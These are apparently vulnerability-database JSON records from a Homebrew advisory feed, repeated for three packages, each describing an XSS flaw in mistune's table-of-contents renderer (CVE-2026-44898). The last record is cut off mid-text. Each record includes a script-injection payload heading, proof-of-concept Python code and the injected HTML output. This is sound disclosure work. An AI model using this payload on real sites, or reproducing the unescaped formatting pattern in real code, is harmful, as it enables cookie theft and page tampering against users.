{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.4",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "adr-viewer",
        "purl": "pkg:brew/adr-viewer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0_6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.4"
      }
    ]
  },
  "details": "## Summary\n`render_toc_ul()` builds a `\u003cul\u003e` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href=\"#\u003cid\u003e\"`) and the `text` value (used as the visible link label) are inserted into `\u003ca\u003e` tags via a plain Python format string \u2014 with no HTML escaping applied to either value.\n\nWhen heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href=\"#...\"` attribute context, injecting arbitrary HTML tags including `\u003cscript\u003e` blocks directly into the rendered TOC.\n\nThis vulnerability is closely related to H2 (unescaped `id=` in `heading()`): the same `heading_id` callback pattern that triggers H2 also populates the `toc_items` list that `render_toc_ul()` consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.\n\n## Details\n**File:** `src/mistune/toc.py`\n\n```python\ndef render_toc_ul(toc):\n    ...\n    for level, k, text in toc:\n        # k   = heading id  (used verbatim as href fragment)\n        # text = heading text (used verbatim as link label)\n        item = \u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n        # Neither k nor text is passed through escape() at any point\n```\n\nThe `k` and `text` values come directly from the `toc_items` list accumulated during parsing. If `k` contains `\"` or `\u003e`, the `href` attribute is broken. If `text` contains `\u003c`, raw tags are injected as the visible link content.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_src = \"# Introduction\\n\\n## Installation\\n\"\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\nOutput \u2014 clean, safe TOC:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_1\"\u003eIntroduction\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_2\"\u003eInstallation\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n```\n\n**Step 2 \u2014 Enable the vulnerable `heading_id` callback**\n\nRegister a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text terminates the `href=\"#...\"` attribute and injects a `\u003cscript\u003e` block followed by a dangling `\u003ca href=\"` to absorb the closing `\"\u003e` that `render_toc_ul` appends:\n\n```\n## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\n```\n\nWhen `raw_id` processes this heading, it returns the entire text as the ID: `x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"`.\n\n**Step 4 \u2014 Observe script injection in the TOC output**\n\n```python\nex_src = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\n`render_toc_ul()` formats the malicious ID directly into the `\u003ca href\u003e`:\n\n```python\n\u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n# becomes:\n\u0027\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003e...\u003ca/\u003e\u0027\n```\n\nActual output:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003ex\u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u0026lt;a href=\u0026quot;\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n```\n\nThe `\u003cscript\u003e` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune\u0027s inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere.\n\n### Script\n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H4: render_toc_ul() puts raw heading ID into \u003ca href\u003e without escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook, render_toc_ul\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h4.md\"\nbl_src  = \"# Introduction\\n\\n## Installation\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[toc output \u2014 safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h4.md\"\nex_src  = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[toc output \u2014 script injected via href breakout]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eTOC output \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH4 \u2014 TOC XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH4 \u2014 TOC render_toc_ul() XSS\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_toc_ul() in toc.py uses \u0027\u0026lt;a href=\"#{{}}\"\u0026gt;{{}}\u0026lt;/a\u0026gt;\u0027.format(k, text) \u2014\nneither k (the heading ID) nor text is escaped before insertion.\u003c/p\u003e\n{case(\"baseline\", \"Normal headings \u2192 sequential IDs \u2192 clean TOC links\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading ID breaks out of href=\u0027#...\u0027 \u2192 script injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h4.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h4.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page\u0027s origin |\n| **Integrity**    | Arbitrary DOM manipulation, phishing form injection, forced redirects |\n| **Availability** | Page crash or freeze available as secondary effect |\n\n**Risk context:** TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.",
  "id": "BREW-adr-viewer-CVE-2026-44898",
  "modified": "2026-09-18T14:56:30Z",
  "published": "2026-08-13T16:35:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44898"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/commit/04880a0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune TOC Anchor Injection XSS",
  "upstream": [
    "GHSA-6269-cqxg-mhhv",
    "CVE-2026-44898",
    "PYSEC-2026-2208"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.4",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "buku",
        "purl": "pkg:brew/buku"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1_6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.4"
      }
    ]
  },
  "details": "## Summary\n`render_toc_ul()` builds a `\u003cul\u003e` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href=\"#\u003cid\u003e\"`) and the `text` value (used as the visible link label) are inserted into `\u003ca\u003e` tags via a plain Python format string \u2014 with no HTML escaping applied to either value.\n\nWhen heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href=\"#...\"` attribute context, injecting arbitrary HTML tags including `\u003cscript\u003e` blocks directly into the rendered TOC.\n\nThis vulnerability is closely related to H2 (unescaped `id=` in `heading()`): the same `heading_id` callback pattern that triggers H2 also populates the `toc_items` list that `render_toc_ul()` consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.\n\n## Details\n**File:** `src/mistune/toc.py`\n\n```python\ndef render_toc_ul(toc):\n    ...\n    for level, k, text in toc:\n        # k   = heading id  (used verbatim as href fragment)\n        # text = heading text (used verbatim as link label)\n        item = \u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n        # Neither k nor text is passed through escape() at any point\n```\n\nThe `k` and `text` values come directly from the `toc_items` list accumulated during parsing. If `k` contains `\"` or `\u003e`, the `href` attribute is broken. If `text` contains `\u003c`, raw tags are injected as the visible link content.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_src = \"# Introduction\\n\\n## Installation\\n\"\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\nOutput \u2014 clean, safe TOC:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_1\"\u003eIntroduction\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_2\"\u003eInstallation\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n```\n\n**Step 2 \u2014 Enable the vulnerable `heading_id` callback**\n\nRegister a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text terminates the `href=\"#...\"` attribute and injects a `\u003cscript\u003e` block followed by a dangling `\u003ca href=\"` to absorb the closing `\"\u003e` that `render_toc_ul` appends:\n\n```\n## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\n```\n\nWhen `raw_id` processes this heading, it returns the entire text as the ID: `x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"`.\n\n**Step 4 \u2014 Observe script injection in the TOC output**\n\n```python\nex_src = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\n`render_toc_ul()` formats the malicious ID directly into the `\u003ca href\u003e`:\n\n```python\n\u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n# becomes:\n\u0027\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003e...\u003ca/\u003e\u0027\n```\n\nActual output:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003ex\u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u0026lt;a href=\u0026quot;\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n```\n\nThe `\u003cscript\u003e` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune\u0027s inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere.\n\n### Script\n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H4: render_toc_ul() puts raw heading ID into \u003ca href\u003e without escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook, render_toc_ul\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h4.md\"\nbl_src  = \"# Introduction\\n\\n## Installation\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[toc output \u2014 safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h4.md\"\nex_src  = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[toc output \u2014 script injected via href breakout]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eTOC output \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH4 \u2014 TOC XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH4 \u2014 TOC render_toc_ul() XSS\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_toc_ul() in toc.py uses \u0027\u0026lt;a href=\"#{{}}\"\u0026gt;{{}}\u0026lt;/a\u0026gt;\u0027.format(k, text) \u2014\nneither k (the heading ID) nor text is escaped before insertion.\u003c/p\u003e\n{case(\"baseline\", \"Normal headings \u2192 sequential IDs \u2192 clean TOC links\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading ID breaks out of href=\u0027#...\u0027 \u2192 script injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h4.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h4.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page\u0027s origin |\n| **Integrity**    | Arbitrary DOM manipulation, phishing form injection, forced redirects |\n| **Availability** | Page crash or freeze available as secondary effect |\n\n**Risk context:** TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.",
  "id": "BREW-buku-CVE-2026-44898",
  "modified": "2026-09-18T15:06:13Z",
  "published": "2026-08-13T16:38:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44898"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/commit/04880a0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune TOC Anchor Injection XSS",
  "upstream": [
    "GHSA-6269-cqxg-mhhv",
    "CVE-2026-44898",
    "PYSEC-2026-2208"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.3",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "iredis",
        "purl": "pkg:brew/iredis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.16.1_3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.3",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.3"
      }
    ]
  },
  "details": "## Summary\n`render_toc_ul()` builds a `\u003cul\u003e` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href=\"#\u003cid\u003e\"`) and the `text` value (used as the visible link label) are inserted into `\u003ca\u003e` tags via a plain Python format string \u2014 with no HTML escaping applied to either value.\n\nWhen heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href=\"#...\"` attribute context, injecting arbitrary HTML tags including `\u003cscript\u003e` blocks directly into the rendered TOC.\n\nThis vulnerability is closely related to H2 (unescaped `id=` in `heading()`): the same `heading_id` callback pattern that triggers H2 also populates the `toc_items` list that `render_toc_ul()` consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.\n\n## Details\n**File:** `src/mistune/toc.py`\n\n```python\ndef render_toc_ul(toc):\n    ...\n    for level, k, text in toc:\n        # k   = heading id  (used verbatim as href fragment)\n        # text = heading text (used verbatim as link label)\n        item = \u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n        # Neither k nor text is passed through escape() at any point\n```\n\nThe `k` and `text` values come directly from the `toc_items` list accumulated during parsing. If `k` contains `\"` or `\u003e`, the `href` attribute is broken. If `text` contains `\u003c`, raw tags are injected as the visible link content.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_src = \"# Introduction\\n\\n## Installation\\n\"\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\nOutput \u2014 clean, safe TOC:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_1\"\u003eIntroduction\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_2\"\u003eInstallation\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n```\n\n**Step 2 \u2014 Enable the vulnerable `heading_id` callback**\n\nRegister a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text terminates the `href=\"#...\"` attribute and injects a `\u003cscript\u003e` block followed by a dangling `\u003ca href=\"` to absorb the closing `\"\u003e` that `render_toc_ul` appends:\n\n```\n## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\n```\n\nWhen `raw_id` processes this heading, it returns the entire text as the ID: `x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"`.\n\n**Step 4 \u2014 Observe script injection in the TOC output**\n\n```python\nex_src = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\n`render_toc_ul()` formats the malicious ID directly into the `\u003ca href\u003e`:\n\n```python\n\u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n# becomes:\n\u0027\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003e...\u003ca/\u003e\u0027\n```\n\nActual output:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003ex\u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u0026lt;a href=\u0026quot;\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n```\n\nThe `\u003cscript\u003e` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune\u0027s inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere.\n\n### Script\n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H4: render_toc_ul() puts raw heading ID into \u003ca href\u003e without escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook, render_toc_ul\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h4.md\"\nbl_src  = \"# Introduction\\n\\n## Installation\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[toc output \u2014 safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h4.md\"\nex_src  = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[toc output \u2014 script injected via href breakout]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid 